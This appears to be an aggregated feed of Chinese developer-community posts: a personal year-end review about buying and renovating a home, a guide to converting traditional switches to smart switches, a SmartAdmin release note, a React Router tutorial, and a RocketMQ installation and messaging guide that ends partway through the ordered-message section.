今年完成了自己的人生大事,因为买房不想贷商贷,想全走公积金,借着这个契机领证了,也算是步入一个新阶段,不再是一人吃饱全家不饿的状态了,自己感觉肩上有些压力了。不过媳妇儿是半个工作狂,工资也不算很低。

家庭

都说中式父子关系是世界上最复杂的关系,我和我爸都是乐于表达的人,但是单独在一起竟然会一些尴尬,也不是关系不好,就感觉很有陌生感,可能是源于从小每次大事上决定他们要反对,小事上他们要碎碎念的带来的深深隔阂。说来也可笑,我甚至有点嫉妒亲姐,因为从我们那个小地方从读书我姐都是名列前茅,尽管高考突然崩了,大学也很快调整回来,一步步能在强生制药做经理,虽然离成功人物还很远,不过她是我始终在追赶的榜样,我嫉妒他能把能目标明确,事事做好,在家庭里爸妈都听她的。

买房

年初买房这个事情也不是说突然吧,也计划了很久,只是没想到买的这么仓促。今年年初因为我特别迷茫,被很多事情困住了,也想借着买房这个契机让让自己生活有个奔头。买房位置东南西北都看了,考虑到我想长期在当前公司工作,但是公司这两年一直都说着可能搬迁到新园区工作,一直没有个定论,所以我做了个豪赌,直接买房在新园区5公里左右,这个月刚得到消息确认要搬,也算赌对了吧,不然现在上班通勤可是快50分钟。清水总价215万,我和媳妇儿一起买的,首付了125万,贷款了100万,全是我和我媳妇儿这几年存的总和,父母想支付大头,思来想去还是没怎么收,算是想摆脱啃老的名声吧。

装修

提起今年来说,最大的收获就是装修了吧。从0-1把房子装出来了,从铲墙,水电,防水,地砖,吊顶,墙面,全屋定制,门窗,全屋智能等上百个项目,小到一个沥水盆我也是自己购买+装。虽然提前看了很多攻略,但是还是有考虑欠佳的设计

业余

中式教育出来的小镇做题家,会发现自己人生是一片空白的,内核是空心的,没有真正喜欢的事情,总是想在各种竞争中胜利,很难接受自己的平庸,也不知道如何获得快乐,总是间歇性在思考人生的意义是什么。 然后就是打麻将,不过有点腻了,有两个朋友有段时间每周都约。

旅游

今年去了西昌,三亚,北京,新疆,长沙,张家界等地方,对我来说没有遇到那种让我震惊的风景,每次旅游回来肠炎都犯了,水土不服的感觉,总体上今年旅游体验没有很好,明年看心情想不想出去旅游吧,不想的就在周边玩玩也行

健康

在不断内卷工作中,虽然没有多努力,但是感觉身体还是被情绪和工作透支了,我是精力属于容易疲惫的加上今年肠炎犯了好多次,锻炼也少了,感觉最重要的底线健康也不重视了

总结

今日虽然周末,但是最近公司很忙,周六也在上班。因为事情很快做完就下早班回来了,媳妇儿周末出差了。回到家躺床上,开着空调,突然觉得自己好幸福,我和媳妇儿月薪共4万+,快260万的房子,贷款也只剩80万了,也有个10来万的车子代步,父母也算健康,也不用啃老,也能给自己买喜欢的东西,偶尔也能出去旅游,而且我才26岁,未来还有无限可能。

by 神说要有光_zy at January 18, 2025 11:34 AM

juejin freebie

传统开关如何改装智能开关

传统开关如何改装智能开关

随着智能家居越来越普及,使用智能开关的家庭越来越多。如果希望安装智能开关,那么在装修的水电阶段就要提前设计好(只装单控且预留零线)。但是大多数情况下例如精装房,或者是老房子想要改装智能开关的话,就需要对线路进行一些改造。

电路相关基础概念

首先我们需要知道一些电路相关的基础概念

入户线

进入到住户家里的线路,一共有三条:地线、火线(L)、零线(N)

  • 地线(黄绿色):一端接接地金属体,另一端进入家中
  • 火线(红色):一端接国家电网的电表,另一端进入家中
  • 零线(蓝色):一端接国家电网的电表,另一端进入家中

火线跟零线相当于电源的正负极。

入户线通过总空气开关来对家中的电路进行通电,它就相当于家庭中使用的总电源。

负载/用电设备

家中所有电器及所有用到电的设备都叫做负载或者用电设备。所有的用电设备必须同时接火线跟零线才能通电,这时因为只有闭合回路才能形成电流,电流从入户线的火线流出,从用电设备的火线流入,零线流出,回到入户线的零线形成闭合回路。

所以所有的用电设备都必须有两个接口,分别接家庭电路中的火线跟零线。

开关

上面说过,吸顶灯是一个负载设备,它一端接火线,一端接零线,这样就可以保持通电常亮的状态,如果我们希望可以手动控制它的亮跟灭,就在 火线 中间增加一个开关,来实现线路的通和断。

那么这样的话,开关一端接火线,另一端接灯(控线)。在开关盒中,可以通过电笔来判断是火线还是灯控线,有电的是火线。

事实上零线也是没电的,但是传统布线不会在开关盒里放零线,所以不用考虑零线的问题。

tips:智能开关分为 单火版 跟 零火版,单火版不需要接零线,零火版需要接零线。

传统开关布线方式

传统开关常见的布线方式有单控、双控、三控及多控。

  • 单控:一个开关控制一个(组)灯
  • 双控:两个开关同时控制一个(组)灯
  • 三控:三个开关同时控制一个(组)灯
  • 多控:多个开关同时控制一个(组)灯

传统开关布线方式是没有零线的,所以在开关底盒里只有火线跟灯控线,没有零线。

改造方案

智能开关只能适用于单控,所以如果想要装智能开关,在装修阶段就只能使用单控的布线方式;如果是改造的话,就需要将多控改成单控。

前面也说过,智能开关分两类,一种单火版,一种零火版,它们的使用区别在于是否接零线。由于零线在传统开关的布线方式中是不需要的,所以如果是新装修的话,可以使用零火版,只要在开关盒中预留零线即可;如果是改装的话,那就只能使用单火版,当然也可以后期改加零线,造价会更贵一点。

根据使用的智能开关类型不同会有不同的改造方案。

单控开关(以单开为例)

传统单控开关

传统单控开关示意图如下,背后有两个接线位点,分别用来接火线跟灯控线

单控开关原理示意图.jpg

86底盒中有一跟火线,一根灯控线,开关的 L1 位点接火线,L2 位点接灯控线。

如果是使用一个双控开关来替代单控开关,接线方式相同,只接 L1 L2 即可。

改单火版开关

直接按照对应端口将火线跟灯控线接入单火版开关即可

改零火版开关

需要单独拉一根零线,可以直接从空气开关拉过来,也可以从灯拉过来

双控开关

传统双控开关

传统双控开关示意图如下,背后有三个接线位点

双控开关原理示意图.jpg

双控布线需要用到两个双控开关,分别为开关一和开关二;

开关一的86底盒中有三根线,一根为火线,另外两根为与开关二相连的互控线;

开关二的86底盒中也有三根线,一根为灯控线,另外两根为与开关一相连的互控线。

接线方式:

开关一:L1 接火线 , L2、L3 通过互控线与开关二对应点相连

开关二:L1 接灯控线, L2、L3 通过互控线与开关一对应点相连

改单火版开关

思路:将开关一改成单控线路,把开关二取消掉

操作步骤:

  1. 将开关二的所有线取下来,将灯控线与 L2 的互控线相连,L3 不用 ;
  2. 将开关一替换成智能开关;
  3. 将开关二换成无线开关。
改零火版开关

传统双控开关改零火版开关有两种方案

  • 方案一:在单火版的基础上,拉一根零线到开关一的86底盒里,接到智能开关上即可;

  • 方案二:在单火版的基础上,将两个开关都改成零火版智能开关

    操作步骤:

    1. 引两条零线分别到两个开关的86底盒中;
    2. 将开关一86底盒中的火线一分二;
    3. 现在开关一的底盒中有一条零线,两条火线,一条灯控线,一条互控线;开关二的底盒中有一条零线,一条互控线
    4. 将开关一换上零火版智能开关,接上一条零线,一条火线,一条灯控线,将另一条火线跟互控线连接;
    5. 在开关二的底盒中,一条互控线跟灯控线已经连接了,另一条互控线跟开关一的底盒中的火线连接了,还有一条零线,将零线跟火线连接到零火版智能开关即可

三控开关

传统三控开关

传统三控布线是在双控的基础上,增加了一个双开双控的开关,如下

image-20250105013843640.png

开关一:L1 + 多控 L2-1 L2 + 多控 L2-2

开关二:L1 + 多控 L1 L2 + 多控 L2

多控:对角相接 L1-1 + L2-2 L2-1 + L1-2

接线思路总结:多控开关的接线口相当于两个双控开关组合,在接线时开关一(接火线)与多控右边对应位置相接,开关二(接灯控线)与中间对角位置相接,剩下的左边上下两个接口用于对角相接。

改单火版开关

我们也可以选择两个双控开关其一来作为单控开关,但是选择多控开关作为单控开关方案更简洁,也更容易改装为零火版。

单火版跟零火版的优缺点

by 叫我小窝吧 at January 18, 2025 11:15 AM

oschina news project

🔥高质量代码 SmartAdmin 年前最后一更 V3.13

SmartAdmin「高质量代码、简洁、高效、安全」的快速开发平台   v3.12 版本 发布,更新如下:


SmartAdmin 由 中国・洛阳 1024 创新实验室 基于 SpringBoot2/3+Sa-Token+Mybatis-Plus 和 Vue3+Ant Design Vue+Uni-App+Uni-UI,并以 「高质量代码」为核心,「简洁、高效、安全」的快速开发平台。

国内首个满足《网络安全 - 三级等保》、《数据安全》 功能要求,支持登录限制、接口国产加解密、数据脱敏等一系列安全要求。

前端提供 JavaScript 和 TypeScript 双版本,后端提供 Java8+SpringBoot2.X 和 Java17+SpringBoot3.X 双版本

同时 重磅开源 开源六年来 千余家企业验证过且正在使用 的代码规范: 《高质量代码思想》、《Vue3 规范》、《Java 规范》 ,让大家在这浮躁的世界里感受到一股把代码写好的清流!同时又能节省大量时间,减少加班,快乐工作,保持谦逊,保持学习,热爱代码,更热爱生活 !

技术体系

理念与思想

  • 我们分享的不是徒劳无功的各种功能,而是必须有的功能,如:网络安全、数据变动记录、系统说明文档、版本更新记录、意见反馈、日志、心跳、单号生成器等等。
  • 我们分享的还有经过上百家公司验证过的前端、后端、vue3 等代码规范,好的规范能让我们敲下的每行代码更铿锵有力!
  • 我们推崇高质量的代码,身为开发,代码即利剑,键盘上一套行云流水,宛如侠客,事了拂衣去,深藏身与名。
  • 我们推崇团队的高度配合默契、互相帮助,从不加班,而不是一看到别人的代码就头皮发麻,留其 996.ICU 加班。

功能亮点图

功能亮点

  • 安全体系满足国家三级等保要求,如双因子登录、密码加密、密码复杂度要求、登录错误次数锁定、登录超时退出、数据脱敏等网络安全和数据安全功能
  • 接口加解密:支持请求参数和返回内容进行加解密操作,支持国产加密算法和其他国外加密算法
  • 表格自定义列:支持用户自定义列,并能将用户自定义列持久化到数据库
  • 数据变更记录:支持基于 git diff 插件的数据变更记录,查看数据变化更直观方便
  • 在线文档:支持右侧帮助文档(类似阿里云控制台右侧帮助文档效果)、支持意见反馈、版本记录 等功能
  • OA 办公:公司信息(发票、银行、员工等)、通知公告(阅读记录、次数等)
  • 日志、监控:服务器心跳日志、登录日志、操作日志(IP、浏览器、操作系统等设备信息)
  • 系统功能:员工、部门、角色、权限、菜单、水印、文件管理、系统参数、数据字典、单号生成 等
  • 代码生成: 基于每个表的配置、在线预览代码、下载 等
  • 以上只是一些举例,更多灿若繁星的惊喜和细节,等待着你的发现!SmartAdmin 业内独有功能亮点

代码亮点

  • 【前端 - 双版本】: 提供 js 和 ts 双版本,目录结构及其清晰
  • 【前端 - 常量维护】: vue-enum,拒绝出现魔法数字,常量枚举不可维护的现象
  • 【前端 - 命名】: 业内最好的 api、常量等命名和写法
  • 【前端 - 多环境支持】: 独有的本地、开发、测试、预发布、生产 5 个 env 环境配置文件
  • 【前端 - layout 代码】: 业内代码最清晰的 layout 布局写法,小白都能看懂
  • 【前端 - main.js】: 业内可能只有我们把 main.js 中的 router 加载方式写对了
  • ---- 华丽前后端分割线 ----
  • 【后端 - 独有目录结构】: 业内独有的高质量的 Java 代码分包结构,适合大、中、小型项目,结构非常清晰
  • 【后端 - 公共配置文件】: 业内独有的共用配置文件维护,简化共同配置
  • 【后端 - 返回码维护】: 业内独创的请求返回码维护,非常值得一看
  • 【后端 - 四层架构】: 四层架构(controller, service, manager, dao),为什么要有四层
  • 【后端 - 多环境】: maven 多环境:开发、测试、预发布、生产 环境配置
  • 【后端 - 系统钩子】: smart-reload,为系统预留钩子,动态加载,在不重启程序前提下执行一些代码
  • 以上只是沧海一粟,更多的细节等待你的发现!去查看

by 来源: 投稿 at January 18, 2025 10:18 AM

juejin frontend

告别“单页”寂寞:React Router 带你飞,页面跳转像滑滑梯! 🎢

引言

700.gif

大家好,我是你们的程序猿老朋友,今天咱们来聊聊 React 开发中不可或缺的灵魂伴侣——React Router

🧐 为啥需要路由?

想象一下,如果你的网站只有一个页面,所有内容都挤在一起,那会是怎样一种灾难?就像把所有水果都塞进一个袋子,西瓜压坏了苹果,香蕉被挤成了泥…😱 为了让我们的应用井井有条,结构清晰,路由应运而生!它就像一个交通指挥官,根据不同的 URL,把用户带到不同的页面。

小 Tips:  路由驱动应用,就像一个精密的时钟,每个齿轮的转动都至关重要。

🛠️ React Router:组件化路由的扛把子

就像 React 是组件化的王者,React Router 也秉承了这一优良传统。它把路由的概念也组件化了,让我们的代码更加易读、易维护。

1. 安装 “全家桶” 必备:

npm install react-router-dom

首先,我们需要安装 react-router-dom 这个包,它包含了我们实现路由所需要的一切。

2. 路由定义大舞台:router/index.jsx

import {
  BrowserRouter,
  Route,
  Routes,
} from 'react-router-dom'
import App from '../App'
import About from '../pages/About.jsx'
import Home from '../pages/Home.jsx'
import NotFound from '../pages/NotFound.jsx'
import { postRouter } from '../pages/post/postRouter.jsx'

const AppRouter = () => {
  return (
    <BrowserRouter>
      <Routes>
        <Route path='/' element={<App />} >
          <Route index element={<Home />} />
          <Route path='about' element={<About />} />
          <Route path="posts/*" element={postRouter} />
          <Route path='*' element={<NotFound />} />
        </Route>
      </Routes>
    </BrowserRouter>
  )
}
export default AppRouter
  • <BrowserRouter>:  这是路由的“地基”,它能让你的应用支持 HTML5 的 pushState API,从而实现漂亮的 URL 切换。

  • <Routes>:  它就像一个“路由匹配器”,它会遍历 <Route> 标签,找到与当前 URL 匹配的路由,并渲染对应的组件。

  • <Route>:  每一个 <Route> 标签都代表一条路由规则。path 属性定义了 URL 的路径,element 属性指定了要渲染的组件。

    • index 属性:  当父路由路径和当前路由路径相同时,渲染此属性的组件。
    • path="*" :  通配符,当所有路由都不匹配时,渲染此路由组件,通常用于渲染 404 页面。
    • 嵌套路由:  在父路由 <Route> 中再嵌套 <Route>,实现父子组件的嵌套渲染,如示例中 posts 就是嵌套路由。

小 Tips:  BrowserRouter 就像你的大船,<Routes> 是你的航线图,<Route> 是你的一个个港口,带你抵达想去的地方。 ⛵️

3. 页面组件:你的内容展示区

  • About.jsx

    import { useEffect } from "react"
    import { Link } from 'react-router-dom'
    const About = () => {
      useEffect(() => {
        document.title = 'About'
      }, [])
      return (
        <div>
          <h1>About</h1>
          <Link to='/'>回到首页</Link>
        </div>
      )
    }
    export default About
    
    • useEffect: 它是一个 React Hooks,我们用来在组件挂载后执行一些操作,比如在这里,我们修改了页面的标题。
    • Link: 这是 React Router 提供的导航组件,它会生成一个 <a> 标签,点击它会触发路由切换,注意这里和普通的 <a> 标签不一样,他不会刷新页面,这也是SPA应用的优点。
  • Home.jsx

    import { useEffect } from "react"
    const Home = () => {
      useEffect(() => {
        document.title = 'Home'
      }, [])
      return (
        <div>
          <h1>Home</h1>
          <div>你好</div>
        </div>
      )
    }
    export default Home
    
  • NotFound.jsx (这一部分会有点复杂o)

    import { useState, useEffect } from "react"
    const NotFound = () => {
      const [count, setCount] = useState(0)
      useEffect(() => {
        console.log('title执行了');
        document.title = 'Not Found'
        return () => {  
          console.log('title卸载了');
        }
      }, [])
      const add = () => {
        setCount(count + 1)
      }
      useEffect(() => {
        console.log('count更新了');
      }, [count])
      return (
        <div>
          <h1 onClick={add}>404</h1>
        </div>
      )
    }
    export default NotFound
    
  • useState: 组件的状态管理,像 Vue 的 data!

    useState 就像一个简易的记事本,用来记录组件的数据。例如,const [count, setCount] = useState(0) 就相当于 Vue 的 data 中定义了 count: 0,你可以用 setCount 更新 count 的值。

  • useEffect: 副作用处理,React 的生命周期钩子!

    • 第一个参数:副作用函数,类似 Vue 的 mounted + updated

      useEffect(() => { /* ... */ }) 里的函数会在组件首次渲染后执行,也会在更新后执行,相当于 Vue 的 mounted 和 updated 的结合体。

    • 第二个参数(可选):依赖项数组,类似 Vue 的 watch

      useEffect(() => { /* ... */ }, [count]) 表示只有 count 变化时,副作用函数才会执行,相当于 Vue 的 watch 监听 count 的变化。

    • 返回值(可选):清理函数,类似 Vue 的 beforeUnmount

      useEffect(() => { return () => { /* ... */ } }) 返回的函数会在组件卸载前执行,用于清理副作用,类似于 Vue 的 beforeUnmount 钩子。

小小总结一下:

  • useState:管理组件状态,类似 Vue 的 data

  • useEffect:处理副作用,类似 Vue 的生命周期钩子:

    • 无第二个参数,类似 mounted + updated
    • 有第二个参数,类似 watch
    • 返回值,类似 beforeUnmount
  • 主页面 App.jsx

    import './App.css'
    import {
        Outlet,
        NavLink
    } from "react-router-dom"
    function App() {
        return (
            <>
                <header>
                    <nav>
                        <NavLink to='/'>Home</NavLink>
                        <NavLink to='/about'>About</NavLink>
                    </nav>
                </header>
                <Outlet />
            </>
        )
    }
    export default App
    
    • Outlet:  它就像一个“占位符”,用来渲染嵌套路由的子组件,在这里,他用来渲染Home和About组件。

    • NavLink:  它是 Link 的升级版,当它对应的路由被激活时,会自动添加 active 类名,方便你设置高亮样式。

      NavLink 和 a 标签的区别:  NavLink 会阻止页面刷新,通过 React Router 实现页面跳转,而 a 标签会刷新整个页面。NavLink 就像一辆飞速的跑车,而 a 标签则是一辆略显笨拙的老爷车。 🚗

      NavLink 的优势:

      • 不会刷新页面,提高用户体验。
      • 支持高亮样式,方便用户知道当前所在页面。

小 Tips:  页面组件是你的舞台,路由帮你把观众带到这里,而 Outlet 则是你表演的焦点! 🎭

4. 嵌套路由:post 文件夹下的内容,这一部分你可以当成我们要进行一个更深的页面跳转

// postRouter.jsx
import {
  Route, Routes
} from "react-router-dom";
import PostIndex from './Post-Index.jsx';
import PostShow from './Post-Show.jsx';

export const postRouter = (
  <Routes>
    <Route path='' element={<PostIndex />} />
    <Route path=':postid' element={<PostShow />} />
  </Routes>
)

// Post-Index.jsx
const PostIndex = () => {
  return (
    <div>
      <h1>PostIndex</h1>
    </div>
  )
}
export default PostIndex


// Post-Show.jsx
import { useEffect } from "react"
import { useParams } from "react-router-dom"
const PostShow = () => {
  const { postid } = useParams()
  useEffect(() => {
    document.title = `Post-${postid}`
  }, [])
  return (
    <div>
      <h1>PostShow</h1>
    </div>
  )
}
export default PostShow
  • useParams:  这是一个 React Router Hooks,用来获取路由参数,在这里,我们用它来获取动态的 postid。(注意一下哦这个参数的名字要和动态路由(:postid)的名字一样哦)

小 Tips:  嵌套路由就像俄罗斯套娃,一层套一层,让你的应用更加灵活和模块化。 🪆

总结

好啦,关于 React Router 的精彩旅程就先到这里啦!希望这篇博客能帮助你更好地理解 React Router 的原理和用法。记住,React Router 是你构建复杂 React 应用的利器,它可以让你轻松实现页面跳转和嵌套路由,让你的应用焕发新的生机!

如果你觉得这篇文章对你有帮助,别忘了点赞、分享和收藏哦!

20200229174423_bzukt.jpg

下次见! 👋

by answerball at January 18, 2025 10:17 AM

juejin backend

RocketMQ 安装使用

一、RocketMQ 初相识

在分布式系统的广袤天地中,RocketMQ 宛如一颗璀璨的明星,作为一款高性能的分布式消息队列,它肩负着至关重要的使命。其核心价值在于为分布式系统提供了强大的解耦能力,犹如在复杂的系统架构中搭建了一座座桥梁,让各个组件能够独立运作,互不干扰。同时,在面对流量高峰时,RocketMQ 展现出卓越的削峰填谷能力,能够平稳地处理大量突发请求,确保系统的稳定性与可靠性。

想象一下,在电商系统中,当一场盛大的促销活动开启,瞬间涌入的海量订单信息如同汹涌的潮水。此时,RocketMQ 便挺身而出,它将这些订单消息迅速收集并存储起来,然后按照系统能够承受的速度,逐步将消息传递给后续的处理模块。这样一来,不仅避免了因瞬间高流量导致系统崩溃的风险,还使得各个业务模块能够专注于自身的核心任务,极大地提高了系统的整体性能和可扩展性。 正是凭借这些出色的特性,RocketMQ 在分布式系统领域中占据了不可或缺的地位,成为众多开发者构建高性能、高可靠性系统的首选工具。

二、RocketMQ 的安装之旅

(一)安装前奏曲

在开启 RocketMQ 的安装征程之前,我们首先要确保系统环境满足一系列要求。就如同建造高楼大厦需要坚实的地基一样,RocketMQ 的稳定运行依赖于合适的基础环境。

RocketMQ 对 Java Development Kit(JDK)有着明确的要求,必须为 64 位的 JDK 1.8 及以上版本 。这是因为 RocketMQ 作为一款基于 Java 开发的消息队列,其底层的运行逻辑和性能优化都与 JDK 的版本和特性紧密相关。若 JDK 版本过低,可能无法支持 RocketMQ 的某些高级功能,甚至导致安装和运行过程中出现各种兼容性问题。

操作系统方面,RocketMQ 支持多种常见的 64 位系统,如 Linux、Unix、Mac 以及 Windows 。不同的操作系统在系统架构、文件管理、进程调度等方面存在差异,但 RocketMQ 都进行了针对性的适配,以确保在各种环境下都能稳定运行。不过,在实际选择操作系统时,需要综合考虑项目的整体架构、服务器资源以及运维团队的熟悉程度等因素。例如,在大型企业级项目中,Linux 系统因其稳定性、高效性以及丰富的开源工具生态,往往成为首选;而在开发测试环境中,Windows 系统则因其操作的便捷性,受到开发者的青睐。

(二)下载与解压

当我们的系统环境准备就绪后,便可以着手下载 RocketMQ 的安装包了。RocketMQ 的官方网站(rocketmq.apache.org/download/ )是获取安装包的权威来源,在这里,我们能够找到最新版本的 RocketMQ。

在下载页面,我们会看到 RocketMQ 提供了两种类型的安装包,一种是源代码版本,另一种是已经编译好的二进制版本。对于大多数开发者来说,二进制版本更为便捷,它免去了繁琐的编译过程,能够快速投入使用。而源代码版本则适合那些对 RocketMQ 内部机制有深入研究需求,或者需要根据特定场景对 RocketMQ 进行定制化开发的用户。

假设我们选择下载二进制版本,下载完成后,得到的是一个压缩文件,如 rocketmq-all-5.1.0-bin-release.zip 。接下来,我们需要将这个压缩文件解压到指定的目录。解压操作十分简单,在 Linux 系统中,我们可以使用命令 unzip rocketmq-all-5.1.0-bin-release.zip -d /opt/rocketmq,将其解压到 /opt/rocketmq 目录下;在 Windows 系统中,我们可以通过解压工具,如 WinRAR 或 7-Zip,选择解压路径进行解压。解压完成后,我们便可以在指定目录下看到 RocketMQ 的文件结构,其中包含了 bin、conf、lib 等重要目录,这些目录分别存放着启动脚本、配置文件以及依赖的库文件等,它们共同构成了 RocketMQ 运行的基础。

(三)配置文件大改造

解压完成后,进入 RocketMQ 的安装目录,我们会发现一个至关重要的 conf 目录,这里存放着 RocketMQ 的各种配置文件。为了让 RocketMQ 能够更好地适应我们的系统环境和业务需求,对这些配置文件进行适当的修改是必不可少的步骤。

在这些配置文件中,启动配置文件尤为关键。以 Linux 系统为例,在 bin 目录下的 runserver.shrunbroker.sh 文件分别用于启动 NameServer 和 Broker。打开 runserver.sh 文件,我们可以看到其中的 JAVA_OPT 配置项,它用于设置 Java 虚拟机的启动参数。默认情况下,RocketMQ 可能会根据自身的推荐配置设置一些参数,但在实际应用中,我们往往需要根据服务器的内存情况进行调整。比如,如果服务器的内存资源有限,我们可以将 JAVA_OPT="${JAVA_OPT} -server -Xms256m -Xmx256m -Xmn125m -XX:MetaspaceSize=128m -XX:MaxMetaspaceSize=320m 中的初始堆内存(-Xms)和最大堆内存(-Xmx)适当减小,以避免因内存分配过大导致系统资源不足。同理,对于 runbroker.sh 文件,也需要进行类似的内存参数调整,确保 Broker 在启动时能够合理地使用内存资源 。

除了内存参数,我们还可能需要根据实际的网络环境和集群部署要求,对配置文件中的其他参数进行修改。例如,如果我们的 RocketMQ 集群需要与外部的其他系统进行通信,那么就需要在配置文件中指定正确的网络地址和端口号,以确保消息能够准确无误地传输。

(四)启动 RocketMQ

当我们完成了配置文件的修改后,就可以正式启动 RocketMQ 了。RocketMQ 的启动过程分为两个主要步骤,分别是启动 NameServer 和启动 Broker。

在启动 NameServer 时,我们进入 RocketMQ 的 bin 目录,执行命令 sh mqnamesrv 。此时,NameServer 便开始启动,为整个 RocketMQ 集群提供命名服务。NameServer 就像是一个庞大的通讯录,记录着各个 Broker 的地址和相关信息,为生产者和消费者在发送和接收消息时提供路由指引。启动成功后,我们可以通过日志来确认,如果能够看到类似 The Name Server boot success 的日志信息,那就说明 NameServer 已经成功启动。

image.png

接下来,启动 Broker。在启动 Broker 之前,我们需要确保 NameServer 已经正常运行。同样进入 bin 目录,执行命令 sh mqbroker -n localhost:9876 。这里的 -n localhost:9876 参数指定了 NameServer 的地址和端口。Broker 启动后,会连接到指定的 NameServer,并将自身的信息注册到 NameServer 中。我们可以通过查看日志来确认 Broker 是否启动成功,如果在日志中看到 The broker XXXX boot success. serializeType=JSON and name server is XXXX 的信息,XXXX表示你的服务信息,就表明 Broker 已经顺利启动。

image.png

当 NameServer 和 Broker 都成功启动后,我们还可以通过一些方式来验证 RocketMQ 是否正常工作。例如,我们可以使用 RocketMQ 自带的命令行工具,如在 bin 目录下执行 sh mqadmin updateTopic -n localhost:9876 -t testTopic -c DefaultCluster -r 8 -w 8 创建一个主题,

image.png 然后使用 sh mqadmin topicList -n localhost:9876 命令,查看当前 RocketMQ 集群中已有的主题列表。 image.png 如果能够正常列出主题信息,那就说明 RocketMQ 已经可以正常接收和处理消息,至此,我们的 RocketMQ 安装和启动工作就圆满完成了。

三、RocketMQ 消息类型全解析

image.png 在 RocketMQ 的消息宇宙中,不同类型的消息犹如各具特色的工具,为我们解决各种复杂的业务问题提供了有力支持。接下来,让我们深入了解 RocketMQ 的几种常见消息类型。 需要提前引入 pom 文件

<dependency>
    <groupId>org.apache.rocketmq</groupId>
    <artifactId>rocketmq-client</artifactId>
    <version>5.3.1</version>
</dependency>

(一)普通消息:基础且常用

普通消息,作为 RocketMQ 中最基础的消息类型,如同建筑中的基石,承载着众多系统的基本通信需求。它的特点在于简单直接,生产者只管将消息发送至 Broker,消费者则从 Broker 拉取消息进行处理,消息之间并无特定的顺序要求。这种特性使得普通消息在许多场景中都能大显身手,尤其是在那些对消息处理顺序没有严格要求,只注重消息可靠传输的场景中。

在微服务架构中,各个微服务之间往往需要进行大量的数据交互。以一个电商系统为例,订单服务在接收到用户的下单请求后,需要将订单信息传递给库存服务、支付服务等多个下游服务。此时,使用普通消息进行解耦是非常合适的选择。订单服务将订单信息封装成普通消息发送到 RocketMQ,下游的库存服务和支付服务可以根据自身的处理能力,从 RocketMQ 中拉取消息进行处理。这样一来,即使某个下游服务出现短暂的故障或性能问题,也不会影响到订单服务的正常运行,从而实现了各个微服务之间的异步解耦,提高了系统的整体稳定性和可扩展性 。

在离线的日志收集场景中,普通消息也发挥着重要作用。通过在前端应用中埋点收集用户的操作日志,然后将这些日志数据封装成普通消息发送到 RocketMQ。RocketMQ 负责将这些消息可靠地投递到下游的存储系统和分析系统,后续的日志存储和分析工作由相应的后端应用完成。由于日志数据的处理通常不要求严格的顺序,普通消息能够高效地完成日志数据的传输任务,为系统的运维和数据分析提供了有力支持。

首先创建一个普通消息topic

sh mqadmin updateTopic -n localhost:9876 -t GeneralTopic -c DefaultCluster -r 8 -w 8
  • sh mqadmin updateTopic:使用 mqadmin 工具的 updateTopic 子命令,用于更新或创建 Topic。
  • -n localhost:9876:指定 NameServer 的地址和端口,这里使用 localhost:9876,你可以根据实际情况修改为你的 NameServer 的地址。
  • -t GeneralTopic:指定要创建的 Topic 名称,这里是 GeneralTopic,可根据需求修改。
  • -c DefaultCluster:指定集群名称,DefaultCluster 是一个示例,可以替换为实际使用的集群名称。
  • -r 8:设置读队列的数量为 8,你可以根据实际情况调整此参数。
  • -w 8:设置写队列的数量为 8,同样可根据实际情况调整。

下面,我们通过一段 Java 代码示例来看看普通消息的发送和接收过程:

import org.apache.rocketmq.client.exception.MQBrokerException;
import org.apache.rocketmq.client.exception.MQClientException;
import org.apache.rocketmq.client.producer.DefaultMQProducer;
import org.apache.rocketmq.client.producer.SendResult;
import org.apache.rocketmq.common.message.Message;
import org.apache.rocketmq.remoting.exception.RemotingException;

public class Producer {

    public static void main(String[] args) throws MQClientException, MQBrokerException, RemotingException, InterruptedException {
        // 创建一个生产者实例,指定生产者组名
        DefaultMQProducer producer = new DefaultMQProducer("GeneralTopicProducerGroup");
        // 设置NameServer的地址
        producer.setNamesrvAddr("localhost:9876");
        // 启动生产者
        producer.start();
        // 创建一条消息,指定主题、标签和消息体
        Message message = new Message("GeneralTopic", "*", "Hello, RocketMQ!".getBytes());
        // 发送消息并获取发送结果
        SendResult sendResult = producer.send(message);
        System.out.println(sendResult);
        // 关闭生产者
        producer.shutdown();
    }

}
import org.apache.rocketmq.client.consumer.DefaultMQPushConsumer;
import org.apache.rocketmq.client.consumer.listener.ConsumeConcurrentlyStatus;
import org.apache.rocketmq.client.consumer.listener.MessageListenerConcurrently;
import org.apache.rocketmq.client.exception.MQClientException;
import org.apache.rocketmq.common.message.MessageExt;

public class Consumer {
    public static void main(String[] args) throws MQClientException {
        // 创建一个消费者实例,指定消费者组名
        DefaultMQPushConsumer consumer = new DefaultMQPushConsumer("GeneralTopicConsumerGroup");
        // 设置NameServer的地址
        consumer.setNamesrvAddr("localhost:9876");
        // 订阅主题
        consumer.subscribe("GeneralTopic", "*");
        // 注册消息监听器,处理接收到的消息
        consumer.registerMessageListener((MessageListenerConcurrently) (messageList, context) -> {
            for (MessageExt msg : messageList) {
                System.out.println(new String(msg.getBody()));
            }
            return ConsumeConcurrentlyStatus.CONSUME_SUCCESS;
        });
        // 启动消费者
        consumer.start();
    }
}

(二)顺序消息:有序的保障

在某些业务场景中,消息的顺序性至关重要。例如在订单处理系统中,订单的创建、支付、发货等操作必须严格按照顺序进行,否则可能会导致业务逻辑混乱。这时,顺序消息便成为了我们的得力助手。

顺序消息的核心原理在于,通过将具有相同 “分区键”(通常是业务相关的唯一标识符,如订单 ID)的消息发送到同一个队列中,而队列本身是按照先进先出(FIFO)的顺序进行存储和投递的,从而确保了消费者能够按照消息的发送顺序进行消费。在一个电商订单处理系统中,对于同一订单的所有相关消息,如订单创建消息、支付成功消息、发货消息等,都可以使用该订单的 ID 作为分区键。这样,这些消息都会被发送到同一个队列中,消费者从该队列中拉取消息时,就能够保证按照订单处理的正确顺序依次处理这些消息,避免了因消息乱序而导致的业务错误 。

在金融交易系统中,股票买卖、资金划转等操作也需要严格按照顺序执行。以股票交易为例,先买入股票再卖出股票的顺序是不能颠倒的。通过使用顺序消息,将同一股票账户的所有交易消息发送到同一个队列,消费者按照顺序处理这些消息,就能确保交易的一致性和准确性,有效避免了因消息顺序错误而引发的交易风险。

首先创建一个顺序消息topic

sh mqadmin updateTopic -n localhost:9876 -t OrderTopic -c DefaultCluster -r 8 -w 8 -o true
  • sh mqadmin updateTopic:使用 mqadmin 工具的 updateTopic 子命令。
  • -n localhost:9876:指定 NameServer 的地址和端口,这里是 localhost:9876
  • -t OrderTopic:指定要创建的 Topic 名称,这里是 OrderTopic
